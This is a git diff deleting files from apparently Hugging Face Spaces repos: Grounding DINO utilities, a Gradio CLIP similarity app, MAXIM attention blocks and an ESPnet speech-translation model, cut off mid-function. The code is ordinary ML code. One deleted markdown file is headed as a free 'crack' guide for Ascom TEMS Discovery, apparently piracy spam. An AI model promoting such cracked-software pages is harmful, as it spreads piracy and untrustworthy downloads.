+++ /dev/null
@@ -1,268 +0,0 @@
-# ------------------------------------------------------------------------
-# Grounding DINO
-# url: https://github.com/IDEA-Research/GroundingDINO
-# Copyright (c) 2023 IDEA. All Rights Reserved.
-# Licensed under the Apache License, Version 2.0 [see LICENSE for details]
-# ------------------------------------------------------------------------
-
-import copy
-import math
-
-import torch
-import torch.nn.functional as F
-from torch import Tensor, nn
-
-
-def _get_clones(module, N, layer_share=False):
-    # import ipdb; ipdb.set_trace()
-    if layer_share:
-        return nn.ModuleList([module for i in range(N)])
-    else:
-        return nn.ModuleList([copy.deepcopy(module) for i in range(N)])
-
-
-def get_sine_pos_embed(
-    pos_tensor: torch.Tensor,
-    num_pos_feats: int = 128,
-    temperature: int = 10000,
-    exchange_xy: bool = True,
-):
-    """generate sine position embedding from a position tensor
-    Args:
-        pos_tensor (torch.Tensor): shape: [..., n].
-        num_pos_feats (int): projected shape for each float in the tensor.
-        temperature (int): temperature in the sine/cosine function.
-        exchange_xy (bool, optional): exchange pos x and pos y. \
-            For example, input tensor is [x,y], the results will be [pos(y), pos(x)]. Defaults to True.
-    Returns:
-        pos_embed (torch.Tensor): shape: [..., n*num_pos_feats].
-    """
-    scale = 2 * math.pi
-    dim_t = torch.arange(num_pos_feats, dtype=torch.float32, device=pos_tensor.device)
-    dim_t = temperature ** (2 * torch.div(dim_t, 2, rounding_mode="floor") / num_pos_feats)
-
-    def sine_func(x: torch.Tensor):
-        sin_x = x * scale / dim_t
-        sin_x = torch.stack((sin_x[..., 0::2].sin(), sin_x[..., 1::2].cos()), dim=3).flatten(2)
-        return sin_x
-
-    pos_res = [sine_func(x) for x in pos_tensor.split([1] * pos_tensor.shape[-1], dim=-1)]
-    if exchange_xy:
-        pos_res[0], pos_res[1] = pos_res[1], pos_res[0]
-    pos_res = torch.cat(pos_res, dim=-1)
-    return pos_res
-
-
-def gen_encoder_output_proposals(
-    memory: Tensor, memory_padding_mask: Tensor, spatial_shapes: Tensor, learnedwh=None
-):
-    """
-    Input:
-        - memory: bs, \sum{hw}, d_model
-        - memory_padding_mask: bs, \sum{hw}
-        - spatial_shapes: nlevel, 2
-        - learnedwh: 2
-    Output:
-        - output_memory: bs, \sum{hw}, d_model
-        - output_proposals: bs, \sum{hw}, 4
-    """
-    N_, S_, C_ = memory.shape
-    proposals = []
-    _cur = 0
-    for lvl, (H_, W_) in enumerate(spatial_shapes):
-        mask_flatten_ = memory_padding_mask[:, _cur : (_cur + H_ * W_)].view(N_, H_, W_, 1)
-        valid_H = torch.sum(~mask_flatten_[:, :, 0, 0], 1)
-        valid_W = torch.sum(~mask_flatten_[:, 0, :, 0], 1)
-
-        # import ipdb; ipdb.set_trace()
-
-        grid_y, grid_x = torch.meshgrid(
-            torch.linspace(0, H_ - 1, H_, dtype=torch.float32, device=memory.device),
-            torch.linspace(0, W_ - 1, W_, dtype=torch.float32, device=memory.device),
-        )
-        grid = torch.cat([grid_x.unsqueeze(-1), grid_y.unsqueeze(-1)], -1)  # H_, W_, 2
-
-        scale = torch.cat([valid_W.unsqueeze(-1), valid_H.unsqueeze(-1)], 1).view(N_, 1, 1, 2)
-        grid = (grid.unsqueeze(0).expand(N_, -1, -1, -1) + 0.5) / scale
-
-        if learnedwh is not None:
-            # import ipdb; ipdb.set_trace()
-            wh = torch.ones_like(grid) * learnedwh.sigmoid() * (2.0**lvl)
-        else:
-            wh = torch.ones_like(grid) * 0.05 * (2.0**lvl)
-
-        # scale = torch.cat([W_[None].unsqueeze(-1), H_[None].unsqueeze(-1)], 1).view(1, 1, 1, 2).repeat(N_, 1, 1, 1)
-        # grid = (grid.unsqueeze(0).expand(N_, -1, -1, -1) + 0.5) / scale
-        # wh = torch.ones_like(grid) / scale
-        proposal = torch.cat((grid, wh), -1).view(N_, -1, 4)
-        proposals.append(proposal)
-        _cur += H_ * W_
-    # import ipdb; ipdb.set_trace()
-    output_proposals = torch.cat(proposals, 1)
-    output_proposals_valid = ((output_proposals > 0.01) & (output_proposals < 0.99)).all(
-        -1, keepdim=True
-    )
-    output_proposals = torch.log(output_proposals / (1 - output_proposals))  # unsigmoid
-    output_proposals = output_proposals.masked_fill(memory_padding_mask.unsqueeze(-1), float("inf"))
-    output_proposals = output_proposals.masked_fill(~output_proposals_valid, float("inf"))
-
-    output_memory = memory
-    output_memory = output_memory.masked_fill(memory_padding_mask.unsqueeze(-1), float(0))
-    output_memory = output_memory.masked_fill(~output_proposals_valid, float(0))
-
-    # output_memory = output_memory.masked_fill(memory_padding_mask.unsqueeze(-1), float('inf'))
-    # output_memory = output_memory.masked_fill(~output_proposals_valid, float('inf'))
-
-    return output_memory, output_proposals
-
-
-class RandomBoxPerturber:
-    def __init__(
-        self, x_noise_scale=0.2, y_noise_scale=0.2, w_noise_scale=0.2, h_noise_scale=0.2
-    ) -> None:
-        self.noise_scale = torch.Tensor(
-            [x_noise_scale, y_noise_scale, w_noise_scale, h_noise_scale]
-        )
-
-    def __call__(self, refanchors: Tensor) -> Tensor:
-        nq, bs, query_dim = refanchors.shape
-        device = refanchors.device
-
-        noise_raw = torch.rand_like(refanchors)
-        noise_scale = self.noise_scale.to(device)[:query_dim]
-
-        new_refanchors = refanchors * (1 + (noise_raw - 0.5) * noise_scale)
-        return new_refanchors.clamp_(0, 1)
-
-
-def sigmoid_focal_loss(
-    inputs, targets, num_boxes, alpha: float = 0.25, gamma: float = 2, no_reduction=False
-):
-    """
-    Loss used in RetinaNet for dense detection: https://arxiv.org/abs/1708.02002.
-    Args:
-        inputs: A float tensor of arbitrary shape.
-                The predictions for each example.
-        targets: A float tensor with the same shape as inputs. Stores the binary
-                 classification label for each element in inputs
-                (0 for the negative class and 1 for the positive class).
-        alpha: (optional) Weighting factor in range (0,1) to balance
-                positive vs negative examples. Default = -1 (no weighting).
-        gamma: Exponent of the modulating factor (1 - p_t) to
-               balance easy vs hard examples.
-    Returns:
-        Loss tensor
-    """
-    prob = inputs.sigmoid()
-    ce_loss = F.binary_cross_entropy_with_logits(inputs, targets, reduction="none")
-    p_t = prob * targets + (1 - prob) * (1 - targets)
-    loss = ce_loss * ((1 - p_t) ** gamma)
-
-    if alpha >= 0:
-        alpha_t = alpha * targets + (1 - alpha) * (1 - targets)
-        loss = alpha_t * loss
-
-    if no_reduction:
-        return loss
-
-    return loss.mean(1).sum() / num_boxes
-
-
-class MLP(nn.Module):
-    """Very simple multi-layer perceptron (also called FFN)"""
-
-    def __init__(self, input_dim, hidden_dim, output_dim, num_layers):
-        super().__init__()
-        self.num_layers = num_layers
-        h = [hidden_dim] * (num_layers - 1)
-        self.layers = nn.ModuleList(
-            nn.Linear(n, k) for n, k in zip([input_dim] + h, h + [output_dim])
-        )
-
-    def forward(self, x):
-        for i, layer in enumerate(self.layers):
-            x = F.relu(layer(x)) if i < self.num_layers - 1 else layer(x)
-        return x
-
-
-def _get_activation_fn(activation, d_model=256, batch_dim=0):
-    """Return an activation function given a string"""
-    if activation == "relu":
-        return F.relu
-    if activation == "gelu":
-        return F.gelu
-    if activation == "glu":
-        return F.glu
-    if activation == "prelu":
-        return nn.PReLU()
-    if activation == "selu":
-        return F.selu
-
-    raise RuntimeError(f"activation should be relu/gelu, not {activation}.")
-
-
-def gen_sineembed_for_position(pos_tensor):
-    # n_query, bs, _ = pos_tensor.size()
-    # sineembed_tensor = torch.zeros(n_query, bs, 256)
-    scale = 2 * math.pi
-    dim_t = torch.arange(128, dtype=torch.float32, device=pos_tensor.device)
-    dim_t = 10000 ** (2 * (torch.div(dim_t, 2, rounding_mode='floor')) / 128)
-    x_embed = pos_tensor[:, :, 0] * scale
-    y_embed = pos_tensor[:, :, 1] * scale
-    pos_x = x_embed[:, :, None] / dim_t
-    pos_y = y_embed[:, :, None] / dim_t
-    pos_x = torch.stack((pos_x[:, :, 0::2].sin(), pos_x[:, :, 1::2].cos()), dim=3).flatten(2)
-    pos_y = torch.stack((pos_y[:, :, 0::2].sin(), pos_y[:, :, 1::2].cos()), dim=3).flatten(2)
-    if pos_tensor.size(-1) == 2:
-        pos = torch.cat((pos_y, pos_x), dim=2)
-    elif pos_tensor.size(-1) == 4:
-        w_embed = pos_tensor[:, :, 2] * scale
-        pos_w = w_embed[:, :, None] / dim_t
-        pos_w = torch.stack((pos_w[:, :, 0::2].sin(), pos_w[:, :, 1::2].cos()), dim=3).flatten(2)
-
-        h_embed = pos_tensor[:, :, 3] * scale
-        pos_h = h_embed[:, :, None] / dim_t
-        pos_h = torch.stack((pos_h[:, :, 0::2].sin(), pos_h[:, :, 1::2].cos()), dim=3).flatten(2)
-
-        pos = torch.cat((pos_y, pos_x, pos_w, pos_h), dim=2)
-    else:
-        raise ValueError("Unknown pos_tensor shape(-1):{}".format(pos_tensor.size(-1)))
-    return pos
-
-
-class ContrastiveEmbed(nn.Module):
-    def __init__(self, max_text_len=256):
-        """
-        Args:
-            max_text_len: max length of text.
-        """
-        super().__init__()
-        self.max_text_len = max_text_len
-
-    def forward(self, x, text_dict):
-        """_summary_
-
-        Args:
-            x (_type_): _description_
-            text_dict (_type_): _description_
-            {
-                'encoded_text': encoded_text, # bs, 195, d_model
-                'text_token_mask': text_token_mask, # bs, 195
-                        # True for used tokens. False for padding tokens
-            }
-        Returns:
-            _type_: _description_
-        """
-        assert isinstance(text_dict, dict)
-
-        y = text_dict["encoded_text"]
-        text_token_mask = text_dict["text_token_mask"]
-
-        res = x @ y.transpose(-1, -2)
-        res.masked_fill_(~text_token_mask[:, None, :], float("-inf"))
-
-        # padding to max_text_len
-        new_res = torch.full((*res.shape[:-1], self.max_text_len), float("-inf"), device=res.device)
-        new_res[..., : res.shape[-1]] = res
-
-        return new_res
diff --git a/spaces/samueldomdey/ClipCosineSimilarityUpload/app.py b/spaces/samueldomdey/ClipCosineSimilarityUpload/app.py
deleted file mode 100644
index f77a1da21d83041ef0e9736e69dd6d22fae5fa91..0000000000000000000000000000000000000000
--- a/spaces/samueldomdey/ClipCosineSimilarityUpload/app.py
+++ /dev/null
@@ -1,36 +0,0 @@
-import gradio as gr
-from PIL import Image
-from sentence_transformers import SentenceTransformer, util
-
-# define model 
-model_sentence = SentenceTransformer('clip-ViT-B-32')
-
-def clip_sim_preds(img, text):
-  '''
-  This function:
-  1. Takes in an IMG/Text/ pair, IMG already as PIl image in RGB form
-  2. Feeds the image/text-pair into the defined clip model
-  3. returns calculated similarities
-  '''
-  try:
-      # Encode an image:
-      img_emb = model_sentence.encode(img)
-      # Encode text descriptions
-      text_emb = model_sentence.encode([text])
-      # Compute cosine similarities 
-      cos_scores = util.cos_sim(img_emb, text_emb)
-      # return the predicted similarity
-      return cos_scores.item()
-  except:
-      return "error"
-
-# define app
-# takes in upload of an image and a corresponding text, computes and returns cosine similarity
-gr.Interface(clip_sim_preds,
-             inputs=[gr.inputs.Image(invert_colors=False, image_mode="RGB", type="pil", source="upload", label=None, optional=False),
-                     gr.inputs.Textbox(lines=1, placeholder=None, default="two cats with black stripes on a purple blanket, tv remotes, green collar", label="Text", optional=False)],
-             outputs=[gr.outputs.Textbox(type="auto", label="Cosine similarity")],
-             theme="huggingface",
-             title="Clip Cosine similarity",
-             description="Cosine similarity of image/text pair using a multimodal clip model",
-             allow_flagging=False,).launch(debug=True)
\ No newline at end of file
diff --git a/spaces/sayakpaul/fivek-retouching-maxim/maxim/blocks/attentions.py b/spaces/sayakpaul/fivek-retouching-maxim/maxim/blocks/attentions.py
deleted file mode 100644
index ad59022388610f775335cd3f58ba4fb5362ebd90..0000000000000000000000000000000000000000
--- a/spaces/sayakpaul/fivek-retouching-maxim/maxim/blocks/attentions.py
+++ /dev/null
@@ -1,143 +0,0 @@
-import functools
-
-import tensorflow as tf
-from tensorflow.keras import layers
-
-from .others import MlpBlock
-
-Conv3x3 = functools.partial(layers.Conv2D, kernel_size=(3, 3), padding="same")
-Conv1x1 = functools.partial(layers.Conv2D, kernel_size=(1, 1), padding="same")
-
-
-def CALayer(
-    num_channels: int,
-    reduction: int = 4,
-    use_bias: bool = True,
-    name: str = "channel_attention",
-):
-    """Squeeze-and-excitation block for channel attention.
-
-    ref: https://arxiv.org/abs/1709.01507
-    """
-
-    def apply(x):
-        # 2D global average pooling
-        y = layers.GlobalAvgPool2D(keepdims=True)(x)
-        # Squeeze (in Squeeze-Excitation)
-        y = Conv1x1(
-            filters=num_channels // reduction, use_bias=use_bias, name=f"{name}_Conv_0"
-        )(y)
-        y = tf.nn.relu(y)
-        # Excitation (in Squeeze-Excitation)
-        y = Conv1x1(filters=num_channels, use_bias=use_bias, name=f"{name}_Conv_1")(y)
-        y = tf.nn.sigmoid(y)
-        return x * y
-
-    return apply
-
-
-def RCAB(
-    num_channels: int,
-    reduction: int = 4,
-    lrelu_slope: float = 0.2,
-    use_bias: bool = True,
-    name: str = "residual_ca",
-):
-    """Residual channel attention block. Contains LN,Conv,lRelu,Conv,SELayer."""
-
-    def apply(x):
-        shortcut = x
-        x = layers.LayerNormalization(epsilon=1e-06, name=f"{name}_LayerNorm")(x)
-        x = Conv3x3(filters=num_channels, use_bias=use_bias, name=f"{name}_conv1")(x)
-        x = tf.nn.leaky_relu(x, alpha=lrelu_slope)
-        x = Conv3x3(filters=num_channels, use_bias=use_bias, name=f"{name}_conv2")(x)
-        x = CALayer(
-            num_channels=num_channels,
-            reduction=reduction,
-            use_bias=use_bias,
-            name=f"{name}_channel_attention",
-        )(x)
-        return x + shortcut
-
-    return apply
-
-
-def RDCAB(
-    num_channels: int,
-    reduction: int = 16,
-    use_bias: bool = True,
-    dropout_rate: float = 0.0,
-    name: str = "rdcab",
-):
-    """Residual dense channel attention block. Used in Bottlenecks."""
-
-    def apply(x):
-        y = layers.LayerNormalization(epsilon=1e-06, name=f"{name}_LayerNorm")(x)
-        y = MlpBlock(
-            mlp_dim=num_channels,
-            dropout_rate=dropout_rate,
-            use_bias=use_bias,
-            name=f"{name}_channel_mixing",
-        )(y)
-        y = CALayer(
-            num_channels=num_channels,
-            reduction=reduction,
-            use_bias=use_bias,
-            name=f"{name}_channel_attention",
-        )(y)
-        x = x + y
-        return x
-
-    return apply
-
-
-def SAM(
-    num_channels: int,
-    output_channels: int = 3,
-    use_bias: bool = True,
-    name: str = "sam",
-):
-
-    """Supervised attention module for multi-stage training.
-
-    Introduced by MPRNet [CVPR2021]: https://github.com/swz30/MPRNet
-    """
-
-    def apply(x, x_image):
-        """Apply the SAM module to the input and num_channels.
-        Args:
-          x: the output num_channels from UNet decoder with shape (h, w, c)
-          x_image: the input image with shape (h, w, 3)
-        Returns:
-          A tuple of tensors (x1, image) where (x1) is the sam num_channels used for the
-            next stage, and (image) is the output restored image at current stage.
-        """
-        # Get num_channels
-        x1 = Conv3x3(filters=num_channels, use_bias=use_bias, name=f"{name}_Conv_0")(x)
-
-        # Output restored image X_s
-        if output_channels == 3:
-            image = (
-                Conv3x3(
-                    filters=output_channels, use_bias=use_bias, name=f"{name}_Conv_1"
-                )(x)
-                + x_image
-            )
-        else:
-            image = Conv3x3(
-                filters=output_channels, use_bias=use_bias, name=f"{name}_Conv_1"
-            )(x)
-
-        # Get attention maps for num_channels
-        x2 = tf.nn.sigmoid(
-            Conv3x3(filters=num_channels, use_bias=use_bias, name=f"{name}_Conv_2")(image)
-        )
-
-        # Get attended feature maps
-        x1 = x1 * x2
-
-        # Residual connection
-        x1 = x1 + x
-        return x1, image
-
-    return apply
diff --git a/spaces/scedlatioru/img-to-music/example/Ascom Tems Discovery Crack ((FREE)) For 14.md b/spaces/scedlatioru/img-to-music/example/Ascom Tems Discovery Crack ((FREE)) For 14.md
deleted file mode 100644
index 04b5149de2823dfb7ef2fd202441c296c7b612ce..0000000000000000000000000000000000000000
--- a/spaces/scedlatioru/img-to-music/example/Ascom Tems Discovery Crack ((FREE)) For 14.md	
+++ /dev/null
@@ -1,114 +0,0 @@
-<br />
-<h1>Ascom Tems Discovery Crack For 14: A Guide for Network Professionals</h1>
-
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-
-<ul>
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diff --git a/spaces/segments-tobias/conex/espnet/nets/pytorch_backend/e2e_st.py b/spaces/segments-tobias/conex/espnet/nets/pytorch_backend/e2e_st.py
deleted file mode 100644
index f64e786f36180dcce6308cf5c859301fe14cceed..0000000000000000000000000000000000000000
--- a/spaces/segments-tobias/conex/espnet/nets/pytorch_backend/e2e_st.py
+++ /dev/null
@@ -1,665 +0,0 @@
-# Copyright 2019 Kyoto University (Hirofumi Inaguma)
-#  Apache 2.0  (http://www.apache.org/licenses/LICENSE-2.0)
-
-"""RNN sequence-to-sequence speech translation model (pytorch)."""
-
-import argparse
-import copy
-import logging
-import math
-import os
-
-import editdistance
-import nltk
-
-import chainer
-import numpy as np
-import six
-import torch
-
-from itertools import groupby
-
-from chainer import reporter
-
-from espnet.nets.e2e_asr_common import label_smoothing_dist
-from espnet.nets.pytorch_backend.ctc import CTC
-from espnet.nets.pytorch_backend.initialization import lecun_normal_init_parameters
-from espnet.nets.pytorch_backend.initialization import set_forget_bias_to_one
-from espnet.nets.pytorch_backend.nets_utils import get_subsample
-from espnet.nets.pytorch_backend.nets_utils import pad_list
-from espnet.nets.pytorch_backend.nets_utils import to_device
-from espnet.nets.pytorch_backend.nets_utils import to_torch_tensor
-from espnet.nets.pytorch_backend.rnn.argument import (
-    add_arguments_rnn_encoder_common,  # noqa: H301
-    add_arguments_rnn_decoder_common,  # noqa: H301
-    add_arguments_rnn_attention_common,  # noqa: H301
-)
-from espnet.nets.pytorch_backend.rnn.attentions import att_for
-from espnet.nets.pytorch_backend.rnn.decoders import decoder_for
-from espnet.nets.pytorch_backend.rnn.encoders import encoder_for
-from espnet.nets.st_interface import STInterface
-from espnet.utils.fill_missing_args import fill_missing_args
-
-CTC_LOSS_THRESHOLD = 10000
-
-
-class Reporter(chainer.Chain):
-    """A chainer reporter wrapper."""
-
-    def report(
-        self,
-        loss_asr,
-        loss_mt,
-        loss_st,
-        acc_asr,
-        acc_mt,
-        acc,
-        cer_ctc,
-        cer,
-        wer,
-        bleu,
-        mtl_loss,
-    ):
-        """Report at every step."""
-        reporter.report({"loss_asr": loss_asr}, self)
-        reporter.report({"loss_mt": loss_mt}, self)
-        reporter.report({"loss_st": loss_st}, self)
-        reporter.report({"acc_asr": acc_asr}, self)
-        reporter.report({"acc_mt": acc_mt}, self)
-        reporter.report({"acc": acc}, self)
-        reporter.report({"cer_ctc": cer_ctc}, self)
-        reporter.report({"cer": cer}, self)
-        reporter.report({"wer": wer}, self)
-        reporter.report({"bleu": bleu}, self)
-        logging.info("mtl loss:" + str(mtl_loss))
-        reporter.report({"loss": mtl_loss}, self)
-
-
-class E2E(STInterface, torch.nn.Module):
-    """E2E module.
-
-    :param int idim: dimension of inputs
-    :param int odim: dimension of outputs
-    :param Namespace args: argument Namespace containing options
-
-    """
-
-    @staticmethod
-    def add_arguments(parser):
-        """Add arguments."""
-        E2E.encoder_add_arguments(parser)
-        E2E.attention_add_arguments(parser)
-        E2E.decoder_add_arguments(parser)
-        return parser
-
-    @staticmethod
-    def encoder_add_arguments(parser):
-        """Add arguments for the encoder."""
-        group = parser.add_argument_group("E2E encoder setting")
-        group = add_arguments_rnn_encoder_common(group)
-        return parser
-
-    @staticmethod
-    def attention_add_arguments(parser):
-        """Add arguments for the attention."""
-        group = parser.add_argument_group("E2E attention setting")
-        group = add_arguments_rnn_attention_common(group)
-        return parser
-
-    @staticmethod
-    def decoder_add_arguments(parser):
-        """Add arguments for the decoder."""
-        group = parser.add_argument_group("E2E decoder setting")
-        group = add_arguments_rnn_decoder_common(group)
-        return parser
-
-    def get_total_subsampling_factor(self):
-        """Get total subsampling factor."""
-        return self.enc.conv_subsampling_factor * int(np.prod(self.subsample))
-
-    def __init__(self, idim, odim, args):
-        """Construct an E2E object.
-
-        :param int idim: dimension of inputs
-        :param int odim: dimension of outputs
-        :param Namespace args: argument Namespace containing options
-        """
-        super(E2E, self).__init__()
-        torch.nn.Module.__init__(self)
-
-        # fill missing arguments for compatibility
-        args = fill_missing_args(args, self.add_arguments)
-
-        self.asr_weight = args.asr_weight
-        self.mt_weight = args.mt_weight
-        self.mtlalpha = args.mtlalpha
-        assert 0.0 <= self.asr_weight < 1.0, "asr_weight should be [0.0, 1.0)"
-        assert 0.0 <= self.mt_weight < 1.0, "mt_weight should be [0.0, 1.0)"
-        assert 0.0 <= self.mtlalpha <= 1.0, "mtlalpha should be [0.0, 1.0]"
-        self.etype = args.etype
-        self.verbose = args.verbose
-        # NOTE: for self.build method
-        args.char_list = getattr(args, "char_list", None)
-        self.char_list = args.char_list
-        self.outdir = args.outdir
-        self.space = args.sym_space
-        self.blank = args.sym_blank
-        self.reporter = Reporter()
-
-        # below means the last number becomes eos/sos ID
-        # note that sos/eos IDs are identical
-        self.sos = odim - 1
-        self.eos = odim - 1
-        self.pad = 0
-        # NOTE: we reserve index:0 for <pad> although this is reserved for a blank class
-        # in ASR. However, blank labels are not used in MT.
-        # To keep the vocabulary size,
-        # we use index:0 for padding instead of adding one more class.
-
-        # subsample info
-        self.subsample = get_subsample(args, mode="st", arch="rnn")
-
-        # label smoothing info
-        if args.lsm_type and os.path.isfile(args.train_json):
-            logging.info("Use label smoothing with " + args.lsm_type)
-            labeldist = label_smoothing_dist(
-                odim, args.lsm_type, transcript=args.train_json
-            )
-        else:
-            labeldist = None
-
-        # multilingual related
-        self.multilingual = getattr(args, "multilingual", False)
-        self.replace_sos = getattr(args, "replace_sos", False)
-
-        # encoder
-        self.enc = encoder_for(args, idim, self.subsample)
-        # attention (ST)
-        self.att = att_for(args)
-        # decoder (ST)
-        self.dec = decoder_for(args, odim, self.sos, self.eos, self.att, labeldist)
-
-        # submodule for ASR task
-        self.ctc = None
-        self.att_asr = None
-        self.dec_asr = None
-        if self.asr_weight > 0:
-            if self.mtlalpha > 0.0:
-                self.ctc = CTC(
-                    odim,
-                    args.eprojs,
-                    args.dropout_rate,
-                    ctc_type=args.ctc_type,
-                    reduce=True,
-                )
-            if self.mtlalpha < 1.0:
-                # attention (asr)
-                self.att_asr = att_for(args)
-                # decoder (asr)
-                args_asr = copy.deepcopy(args)
-                args_asr.atype = "location"  # TODO(hirofumi0810): make this option
-                self.dec_asr = decoder_for(
-                    args_asr, odim, self.sos, self.eos, self.att_asr, labeldist
-                )
-
-        # submodule for MT task
-        if self.mt_weight > 0:
-            self.embed_mt = torch.nn.Embedding(odim, args.eunits, padding_idx=self.pad)
-            self.dropout_mt = torch.nn.Dropout(p=args.dropout_rate)
-            self.enc_mt = encoder_for(
-                args, args.eunits, subsample=np.ones(args.elayers + 1, dtype=np.int)
-            )
-
-        # weight initialization
-        self.init_like_chainer()
-
-        # options for beam search
-        if self.asr_weight > 0 and args.report_cer or args.report_wer:
-            recog_args = {
-                "beam_size": args.beam_size,
-                "penalty": args.penalty,
-                "ctc_weight": args.ctc_weight,
-                "maxlenratio": args.maxlenratio,
-                "minlenratio": args.minlenratio,
-                "lm_weight": args.lm_weight,
-                "rnnlm": args.rnnlm,
-                "nbest": args.nbest,
-                "space": args.sym_space,
-                "blank": args.sym_blank,
-                "tgt_lang": False,
-            }
-
-            self.recog_args = argparse.Namespace(**recog_args)
-            self.report_cer = args.report_cer
-            self.report_wer = args.report_wer
-        else:
-            self.report_cer = False
-            self.report_wer = False
-        if args.report_bleu:
-            trans_args = {
-                "beam_size": args.beam_size,
-                "penalty": args.penalty,
-                "ctc_weight": 0,
-                "maxlenratio": args.maxlenratio,
-                "minlenratio": args.minlenratio,
-                "lm_weight": args.lm_weight,
-                "rnnlm": args.rnnlm,
-                "nbest": args.nbest,
-                "space": args.sym_space,
-                "blank": args.sym_blank,
-                "tgt_lang": False,
-            }
-
-            self.trans_args = argparse.Namespace(**trans_args)
-            self.report_bleu = args.report_bleu
-        else:
-            self.report_bleu = False
-        self.rnnlm = None
-
-        self.logzero = -10000000000.0
-        self.loss = None
-        self.acc = None
-
-    def init_like_chainer(self):
-        """Initialize weight like chainer.
-
-        chainer basically uses LeCun way: W ~ Normal(0, fan_in ** -0.5), b = 0
-        pytorch basically uses W, b ~ Uniform(-fan_in**-0.5, fan_in**-0.5)
-        however, there are two exceptions as far as I know.
-        - EmbedID.W ~ Normal(0, 1)
-        - LSTM.upward.b[forget_gate_range] = 1 (but not used in NStepLSTM)
-        """
-        lecun_normal_init_parameters(self)
-        # exceptions
-        # embed weight ~ Normal(0, 1)
-        self.dec.embed.weight.data.normal_(0, 1)
-        # forget-bias = 1.0
-        # https://discuss.pytorch.org/t/set-forget-gate-bias-of-lstm/1745
-        for i in six.moves.range(len(self.dec.decoder)):
-            set_forget_bias_to_one(self.dec.decoder[i].bias_ih)
-
-    def forward(self, xs_pad, ilens, ys_pad, ys_pad_src):
-        """E2E forward.
-
-        :param torch.Tensor xs_pad: batch of padded input sequences (B, Tmax, idim)
-        :param torch.Tensor ilens: batch of lengths of input sequences (B)
-        :param torch.Tensor ys_pad: batch of padded token id sequence tensor (B, Lmax)
-        :return: loss value
-        :rtype: torch.Tensor
-        """
-        # 0. Extract target language ID
-        if self.multilingual:
-            tgt_lang_ids = ys_pad[:, 0:1]
-            ys_pad = ys_pad[:, 1:]  # remove target language ID in the beggining
-        else:
-            tgt_lang_ids = None
-
-        # 1. Encoder
-        hs_pad, hlens, _ = self.enc(xs_pad, ilens)
-
-        # 2. ST attention loss
-        self.loss_st, self.acc, _ = self.dec(
-            hs_pad, hlens, ys_pad, lang_ids=tgt_lang_ids
-        )
-
-        # 3. ASR loss
-        (
-            self.loss_asr_att,
-            acc_asr,
-            self.loss_asr_ctc,
-            cer_ctc,
-            cer,
-            wer,
-        ) = self.forward_asr(hs_pad, hlens, ys_pad_src)
-
-        # 4. MT attention loss
-        self.loss_mt, acc_mt = self.forward_mt(ys_pad, ys_pad_src)
-
-        # 5. Compute BLEU
-        if self.training or not self.report_bleu:
-            self.bleu = 0.0
-        else:
-            lpz = None
-
-            nbest_hyps = self.dec.recognize_beam_batch(
-                hs_pad,
-                torch.tensor(hlens),
-                lpz,
-                self.trans_args,
-                self.char_list,
-                self.rnnlm,
-                lang_ids=tgt_lang_ids.squeeze(1).tolist()
-                if self.multilingual
-                else None,
-            )
-            # remove <sos> and <eos>
-            list_of_refs = []
-            hyps = []
-            y_hats = [nbest_hyp[0]["yseq"][1:-1] for nbest_hyp in nbest_hyps]
-            for i, y_hat in enumerate(y_hats):
-                y_true = ys_pad[i]
-
-                seq_hat = [self.char_list[int(idx)] for idx in y_hat if int(idx) != -1]
-                seq_true = [
-                    self.char_list[int(idx)] for idx in y_true if int(idx) != -1
-                ]
-                seq_hat_text = "".join(seq_hat).replace(self.trans_args.space, " ")
-                seq_hat_text = seq_hat_text.replace(self.trans_args.blank, "")
-                seq_true_text = "".join(seq_true).replace(self.trans_args.space, " ")
-
-                hyps += [seq_hat_text.split(" ")]
-                list_of_refs += [[seq_true_text.split(" ")]]
-
-            self.bleu = nltk.bleu_score.corpus_bleu(list_of_refs, hyps) * 100
-
-        asr_ctc_weight = self.mtlalpha
-        self.loss_asr = (
-            asr_ctc_weight * self.loss_asr_ctc
-            + (1 - asr_ctc_weight) * self.loss_asr_att
-        )
-        self.loss = (
-            (1 - self.asr_weight - self.mt_weight) * self.loss_st
-            + self.asr_weight * self.loss_asr
-            + self.mt_weight * self.loss_mt
-        )
-        loss_st_data = float(self.loss_st)
-        loss_asr_data = float(self.loss_asr)
-        loss_mt_data = float(self.loss_mt)
-        loss_data = float(self.loss)
-        if loss_data < CTC_LOSS_THRESHOLD and not math.isnan(loss_data):
-            self.reporter.report(
-                loss_asr_data,
-                loss_mt_data,
-                loss_st_data,
-                acc_asr,
-                acc_mt,
-                self.acc,
-                cer_ctc,
-                cer,
-                wer,
-                self.bleu,
-                loss_data,
-            )
-        else:
-            logging.warning("loss (=%f) is not correct", loss_data)
-        return self.loss
-
-    def forward_asr(self, hs_pad, hlens, ys_pad):
-        """Forward pass in the auxiliary ASR task.
-
-        :param torch.Tensor hs_pad: batch of padded source sequences (B, Tmax, idim)
-        :param torch.Tensor hlens: batch of lengths of input sequences (B)
-        :param torch.Tensor ys_pad: batch of padded target sequences (B, Lmax)
-        :return: ASR attention loss value
-        :rtype: torch.Tensor
-        :return: accuracy in ASR attention decoder
-        :rtype: float
-        :return: ASR CTC loss value
-        :rtype: torch.Tensor
-        :return: character error rate from CTC prediction
-        :rtype: float
-        :return: character error rate from attetion decoder prediction
-        :rtype: float
-        :return: word error rate from attetion decoder prediction
-        :rtype: float
-        """
-        loss_att, loss_ctc = 0.0, 0.0
-        acc = None
-        cer, wer = None, None
-        cer_ctc = None
-        if self.asr_weight == 0:
-            return loss_att, acc, loss_ctc, cer_ctc, cer, wer
-
-        # attention
-        if self.mtlalpha < 1:
-            loss_asr, acc_asr, _ = self.dec_asr(hs_pad, hlens, ys_pad)
-
-            # Compute wer and cer
-            if not self.training and (self.report_cer or self.report_wer):
-                if self.mtlalpha > 0 and self.recog_args.ctc_weight > 0.0:
-                    lpz = self.ctc.log_softmax(hs_pad).data
-                else:
-                    lpz = None
-
-                word_eds, word_ref_lens, char_eds, char_ref_lens = [], [], [], []
-                nbest_hyps_asr = self.dec_asr.recognize_beam_batch(
-                    hs_pad,
-                    torch.tensor(hlens),
-                    lpz,
-                    self.recog_args,
-                    self.char_list,
-                    self.rnnlm,
-                )
-                # remove <sos> and <eos>
-                y_hats = [nbest_hyp[0]["yseq"][1:-1] for nbest_hyp in nbest_hyps_asr]
-                for i, y_hat in enumerate(y_hats):
-                    y_true = ys_pad[i]
-
-                    seq_hat = [
-                        self.char_list[int(idx)] for idx in y_hat if int(idx) != -1
-                    ]
-                    seq_true = [
-                        self.char_list[int(idx)] for idx in y_true if int(idx) != -1
-                    ]
-                    seq_hat_text = "".join(seq_hat).replace(self.recog_args.space, " ")
